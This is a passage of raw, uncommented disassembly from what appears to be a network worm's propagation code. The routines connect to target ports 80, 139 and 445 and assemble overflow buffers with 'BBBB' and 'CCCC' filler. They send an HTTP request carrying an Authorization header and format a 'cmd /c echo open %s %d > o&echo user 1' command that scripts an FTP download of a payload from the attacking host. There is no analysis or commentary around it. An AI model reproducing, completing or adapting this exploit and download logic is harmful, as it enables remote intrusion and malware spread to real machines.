0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CCE2 endp ; =============== S U B R O U T I N E ======================================= sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p ; sub_40CD9E+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B9C0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CCE2 pop esi retn 4 sub_40CD16 endp ; =============== S U B R O U T I N E ======================================= sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp ; sub_40CD9E+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CCE2 retn 8 sub_40CD33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p ; sub_40CD9E+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CBDC test al, al jz short loc_40CD7C push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CC80 call sub_40CB6E mov ecx, esi call sub_40CBC3 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CD7C: ; CODE XREF: sub_40CD43+Fj pop esi leave retn sub_40CD43 endp ; =============== S U B R O U T I N E ======================================= sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CD33 test al, al jz short loc_40CD9A mov ecx, esi call sub_40CD43 loc_40CD9A: ; CODE XREF: sub_40CD7F+12j pop esi retn 8 sub_40CD7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD9E proc near ; CODE XREF: ___:0040D625p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CB2A mov edi, 408h cmp [ebp+arg_8], edi jg loc_40D0F2 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40D0F2 push esi lea ecx, [ebp+var_30] call sub_40CB2A lea ecx, [ebp+var_20] call sub_40CB2A lea ecx, [ebp+var_50] call sub_40CB2A lea ecx, [ebp+var_18] call sub_40CB2A lea ecx, [ebp+var_40] call sub_40CB2A lea ecx, [ebp+var_38] call sub_40CB2A lea ecx, [ebp+var_28] call sub_40CB2A push 4 push offset dword_432030 lea ecx, [ebp+var_30] call sub_40CCE2 push 3 push offset dword_432038 lea ecx, [ebp+var_30] call sub_40CCE2 lea ecx, [ebp+var_30] call sub_40CC68 lea ecx, [ebp+var_30] call sub_40CD43 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BF70 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CCE2 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CCE2 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CCE2 lea ecx, [ebp+var_20] call sub_40CC68 push offset loc_4323B4 lea ecx, [ebp+var_50] call sub_40CD16 lea ecx, [ebp+var_50] call sub_40CC68 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CB34 lea ecx, [ebp+var_58] call sub_40CC68 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CD7F lea ecx, [ebp+var_58] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BF70 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CD16 push 4 push offset dword_43203C lea ecx, [ebp+var_18] call sub_40CCE2 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CCE2 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CCE2 lea ecx, [ebp+var_18] call sub_40CC68 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CD33 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CD33 lea ecx, [ebp+var_40] call sub_40CD43 lea ecx, [ebp+var_18] call sub_40CBC3 lea ecx, [ebp+var_50] call sub_40CBC3 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CD33 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CD33 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CD33 lea ecx, [ebp+var_38] call sub_40CD43 lea ecx, [ebp+var_20] call sub_40CBC3 lea ecx, [ebp+var_30] call sub_40CBC3 lea ecx, [ebp+var_40] call sub_40CBC3 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CCE2 lea ecx, [ebp+var_28] call sub_40CC68 push 2 push offset dword_4323A8 lea ecx, [ebp+var_28] call sub_40CCE2 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CD33 lea ecx, [ebp+var_28] call sub_40CD43 lea ecx, [ebp+var_38] call sub_40CBC3 lea ecx, [ebp+var_10] call sub_40CB2A lea ecx, [ebp+var_8] call sub_40CB2A push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_28] call sub_40CBC3 push offset dword_4323A4 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push offset dword_4323A0 lea ecx, [ebp+var_10] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_10] call sub_40CBDC lea ecx, [ebp+var_8] call sub_40CBC3 push offset dword_432394 lea ecx, [ebp+var_8] call sub_40CD16 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBDC lea ecx, [ebp+var_10] call sub_40CBC3 push (offset loc_43238F+1) lea ecx, [ebp+var_48] call sub_40CD16 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CD33 lea ecx, [ebp+var_8] call sub_40CBC3 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40D100 ; --------------------------------------------------------------------------- loc_40D0F2: ; CODE XREF: sub_40CD9E+1Bj ; sub_40CD9E+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40D100: ; CODE XREF: sub_40CD9E+352j pop edi pop ebx leave retn sub_40CD9E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D104 proc near ; CODE XREF: sub_40D1C8+A1p ; sub_40D1C8+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40D16B lea eax, [ebp+var_10C] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40D16F loc_40D16B: ; CODE XREF: sub_40D104+54j xor eax, eax jmp short loc_40D17F ; --------------------------------------------------------------------------- loc_40D16F: ; CODE XREF: sub_40D104+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB9EC loc_40D17F: ; CODE XREF: sub_40D104+69j pop edi pop esi leave retn sub_40D104 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D183 proc near ; CODE XREF: sub_40D1C8+81p ; sub_40D1C8+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CB9D0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CBA24 cmp eax, 4 jz short loc_40D1AD xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D1AD: ; CODE XREF: sub_40D183+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CBA24 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1C8 proc near ; CODE XREF: sub_40D2A2+48p ; ___:0040D716p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BEB5 mov esi, eax pop ecx test esi, esi jnz short loc_40D1F1 xor al, al jmp loc_40D29D ; --------------------------------------------------------------------------- loc_40D1F1: ; CODE XREF: sub_40D1C8+20j push ebx push 0 push esi call sub_41BF70 push 2Fh push offset dword_4320CC push esi call sub_41CD20 push 8 lea eax, [esi+31h] push offset dword_4320FC push eax mov [esi+2Fh], di call sub_41CD20 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41CD20 push 6 add ebx, edi push offset dword_4CE6EC push ebx call sub_41CD20 mov ebx, [ebp+arg_0] push 85h push offset dword_432044 push ebx call sub_40D183 add esp, 48h test al, al jnz short loc_40D259 loc_40D255: ; CODE XREF: sub_40D1C8+B5j xor bl, bl jmp short loc_40D294 ; --------------------------------------------------------------------------- loc_40D259: ; CODE XREF: sub_40D1C8+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 push [ebp+var_4] push esi push ebx call sub_40D183 add esp, 1Ch test al, al jz short loc_40D255 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40D104 add esp, 10h mov bl, 1 loc_40D294: ; CODE XREF: sub_40D1C8+8Fj push esi call sub_41BA91 pop ecx mov al, bl loc_40D29D: ; CODE XREF: sub_40D1C8+24j pop edi pop esi pop ebx leave retn sub_40D1C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2A2 proc near ; CODE XREF: ___:0040D6FCp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_432108 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D2DD push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D104 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D2DD cmp [ebp+var_20], 82h jz short loc_40D2E1 loc_40D2DD: ; CODE XREF: sub_40D2A2+1Bj ; sub_40D2A2+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D2E1: ; CODE XREF: sub_40D2A2+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D1C8 add esp, 0Ch leave retn sub_40D2A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D2F4 proc near ; CODE XREF: sub_40D340+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427670 call sub_41D174 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427668 fstp [esp+10h+var_10] call sub_41D055 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41D174 inc eax leave retn sub_40D2F4 endp ; =============== S U B R O U T I N E ======================================= sub_40D340 proc near ; CODE XREF: sub_40D4E2+24p var_40 = qword ptr -40h mov eax, offset loc_426AA7 call sub_41D640 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D977 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D2F4 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D382 push edi push eax lea ecx, [ebp-38h] call sub_40D8F2 loc_40D382: ; CODE XREF: sub_40D340+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D49F mov ebx, [ebp+10h] loc_40D391: ; CODE XREF: sub_40D340+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D39B push 3 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D39B: ; CODE XREF: sub_40D340+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D3A5 push 2 jmp short loc_40D3AD ; --------------------------------------------------------------------------- loc_40D3A5: ; CODE XREF: sub_40D340+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D3AE push 1 loc_40D3AD: ; CODE XREF: sub_40D340+59j ; sub_40D340+63j pop ebx loc_40D3AE: ; CODE XREF: sub_40D340+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_427680 fstp [esp+40h+var_40] call sub_41D19B pop ecx pop ecx call sub_41D174 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D3ED mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D3ED: ; CODE XREF: sub_40D340+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D45B add [ebp-18h], eax loc_40D43F: ; CODE XREF: sub_40D340+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_432154[eax] push eax push 1 call sub_40D774 inc esi cmp esi, [ebp-1Ch] jb short loc_40D43F loc_40D45B: ; CODE XREF: sub_40D340+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D479 push dword ptr [ebp+14h] call sub_41B9C0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D7CD mov [ebp-18h], edi loc_40D479: ; CODE XREF: sub_40D340+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D493 sub esi, [ebp-1Ch] loc_40D484: ; CODE XREF: sub_40D340+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D774 dec esi jnz short loc_40D484 loc_40D493: ; CODE XREF: sub_40D340+13Fj cmp [ebp+10h], edi ja loc_40D391 push 1 pop ebx loc_40D49F: ; CODE XREF: sub_40D340+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D977 push dword_427678 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D824 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D977 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D340 endp ; =============== S U B R O U T I N E ======================================= sub_40D4E2 proc near ; CODE XREF: ___:0040D6DFp mov eax, offset loc_426AC4 call sub_41D640 sub esp, 10h push ebx push esi push edi push offset byte_43DB88 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D340 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41BEB5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D52C xor bl, bl jmp short loc_40D570 ; --------------------------------------------------------------------------- loc_40D52C: ; CODE XREF: sub_40D4E2+44j mov ecx, [ebp-18h] mov eax, offset dword_427688 cmp ecx, ebx jnz short loc_40D53A mov ecx, eax loc_40D53A: ; CODE XREF: sub_40D4E2+54j cmp [ebp+18h], ebx jz short loc_40D542 mov eax, [ebp+18h] loc_40D542: ; CODE XREF: sub_40D4E2+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41C360 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CBA24 cmp eax, esi jz short loc_40D567 xor bl, bl jmp short loc_40D569 ; --------------------------------------------------------------------------- loc_40D567: ; CODE XREF: sub_40D4E2+7Fj mov bl, 1 loc_40D569: ; CODE XREF: sub_40D4E2+83j push edi call sub_41BA91 pop ecx loc_40D570: ; CODE XREF: sub_40D4E2+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D977 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D977 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D4E2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_432300 push eax call sub_41CD20 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CB710 push eax push dword ptr [ebp+8] call sub_40AA06 pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41C360 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_432198 push eax call sub_40CD9E xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D63B xor eax, eax jmp loc_40D767 ; --------------------------------------------------------------------------- loc_40D63B: ; CODE XREF: ___:0040D632j mov [ebp-0Ch], esi loc_40D63E: ; CODE XREF: ___:0040D73Ej test esi, esi jnz loc_40D744 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D72C xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CB9D4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CBA14 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CB97C cmp eax, 0FFFFFFFFh jz loc_40D721 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D6E9 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D977 lea eax, [ebp+0Ch] push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D9B3 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D4E2 add esp, 1Ch jmp short loc_40D71E ; --------------------------------------------------------------------------- loc_40D6E9: ; CODE XREF: ___:0040D6A7j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D703 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D2A2 jmp short loc_40D71B ; --------------------------------------------------------------------------- loc_40D703: ; CODE XREF: ___:0040D6F3j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D721 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D1C8 loc_40D71B: ; CODE XREF: ___:0040D701j add esp, 0Ch loc_40D71E: ; CODE XREF: ___:0040D6E7j movzx esi, al loc_40D721: ; CODE XREF: ___:0040D69Aj ; ___:0040D70Dj push ebx call dword_4CBA6C test esi, esi jnz short loc_40D737 loc_40D72C: ; CODE XREF: ___:0040D657j push 3E8h nop call near ptr 2680EF8h loc_40D737: ; CODE XREF: ___:0040D72Aj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D63E loc_40D744: ; CODE XREF: ___:0040D640j lea ecx, [ebp-8] call sub_40CBC3 test esi, esi jz short loc_40D765 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431800[eax] lea eax, dword_431800[eax] loc_40D765: ; CODE XREF: ___:0040D74Ej mov eax, esi loc_40D767: ; CODE XREF: ___:0040D636j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A88 loc_40D76C: ; CODE XREF: sub_426A88+3j ; ___:00426AA1j ... push 1 call sub_40D977 retn ; END OF FUNCTION CHUNK FOR sub_426A88 ; =============== S U B R O U T I N E ======================================= sub_40D774 proc near ; CODE XREF: sub_40D340+110p ; sub_40D340+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D78E call sub_42629A loc_40D78E: ; CODE XREF: sub_40D774+13j test ebx, ebx jbe short loc_40D7C5 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D7C5 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41BF70 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D7C5: ; CODE XREF: sub_40D774+1Cj ; sub_40D774+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D774 endp ; =============== S U B R O U T I N E ======================================= sub_40D7CD proc near ; CODE XREF: sub_40D340+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427678 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D7E7 call sub_42629A loc_40D7E7: ; CODE XREF: sub_40D7CD+13j test ebx, ebx jbe short loc_40D81C mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D8F2 test al, al jz short loc_40D81C mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41CD20 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D81C: ; CODE XREF: sub_40D7CD+1Cj ; sub_40D7CD+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D7CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D824 proc near ; CODE XREF: sub_40D340+17Cp ; sub_4261B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D83C call sub_426173 loc_40D83C: ; CODE XREF: sub_40D824+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D84E mov esi, [ebp+arg_8] loc_40D84E: ; CODE XREF: sub_40D824+25j cmp edi, ebx jnz short loc_40D870 push dword_427678 add esi, ecx mov ecx, edi push esi call sub_40D9E8 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D9E8 jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D870: ; CODE XREF: sub_40D824+2Cj test esi, esi jbe short loc_40D8B3 cmp esi, eax jnz short loc_40D8B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D884 mov eax, offset dword_427688 loc_40D884: ; CODE XREF: sub_40D824+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D8B3 push 1 mov ecx, edi call sub_40D977 mov eax, [ebx+4] test eax, eax jnz short loc_40D89F mov eax, offset dword_427688 loc_40D89F: ; CODE XREF: sub_40D824+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D8E9 ; --------------------------------------------------------------------------- loc_40D8B3: ; CODE XREF: sub_40D824+4Ej ; sub_40D824+52j ... push 1 push esi mov ecx, edi call sub_40D8F2 test al, al jz short loc_40D8E9 mov eax, [ebx+4] test eax, eax jnz short loc_40D8CD mov eax, offset dword_427688 loc_40D8CD: ; CODE XREF: sub_40D824+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41CD20 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D8E9: ; CODE XREF: sub_40D824+4Aj ; sub_40D824+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D824 endp ; =============== S U B R O U T I N E ======================================= sub_40D8F2 proc near ; CODE XREF: sub_40D340+3Dp ; sub_40D774+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D904 call sub_42629A loc_40D904: ; CODE XREF: sub_40D8F2+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D92D mov al, [ecx-1] cmp al, dl jz short loc_40D92D cmp al, 0FFh jz short loc_40D92D cmp edi, edx jnz short loc_40D968 dec al push edx mov [ecx-1], al loc_40D922: ; CODE XREF: sub_40D8F2+47j mov ecx, esi call sub_40D977 loc_40D929: ; CODE XREF: sub_40D8F2+4Bj ; sub_40D8F2+52j xor al, al jmp short loc_40D972 ; --------------------------------------------------------------------------- loc_40D92D: ; CODE XREF: sub_40D8F2+19j ; sub_40D8F2+20j ... cmp edi, edx jnz short loc_40D946 cmp [esp+8+arg_4], dl jz short loc_40D93B push 1 jmp short loc_40D922 ; --------------------------------------------------------------------------- loc_40D93B: ; CODE XREF: sub_40D8F2+43j cmp ecx, edx jz short loc_40D929 mov [esi+8], edx mov [ecx], dl jmp short loc_40D929 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D8F2+3Dj cmp [esp+8+arg_4], dl jz short loc_40D963 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D958 cmp eax, edi jnb short loc_40D970 loc_40D958: ; CODE XREF: sub_40D8F2+60j push 1 mov ecx, esi call sub_40D977 jmp short loc_40D968 ; --------------------------------------------------------------------------- loc_40D963: ; CODE XREF: sub_40D8F2+58j cmp [esi+0Ch], edi jnb short loc_40D970 loc_40D968: ; CODE XREF: sub_40D8F2+28j ; sub_40D8F2+6Fj push edi mov ecx, esi call sub_40DA4F loc_40D970: ; CODE XREF: sub_40D8F2+64j ; sub_40D8F2+74j mov al, 1 loc_40D972: ; CODE XREF: sub_40D8F2+39j pop edi pop esi retn 8 sub_40D8F2 endp ; =============== S U B R O U T I N E ======================================= sub_40D977 proc near ; CODE XREF: sub_40D340+1Fp ; sub_40D340+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D9A3 mov eax, [esi+4] test eax, eax jz short loc_40D9A3 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D99C cmp al, 0FFh jz short loc_40D99C dec al mov [ecx], al jmp short loc_40D9A3 ; --------------------------------------------------------------------------- 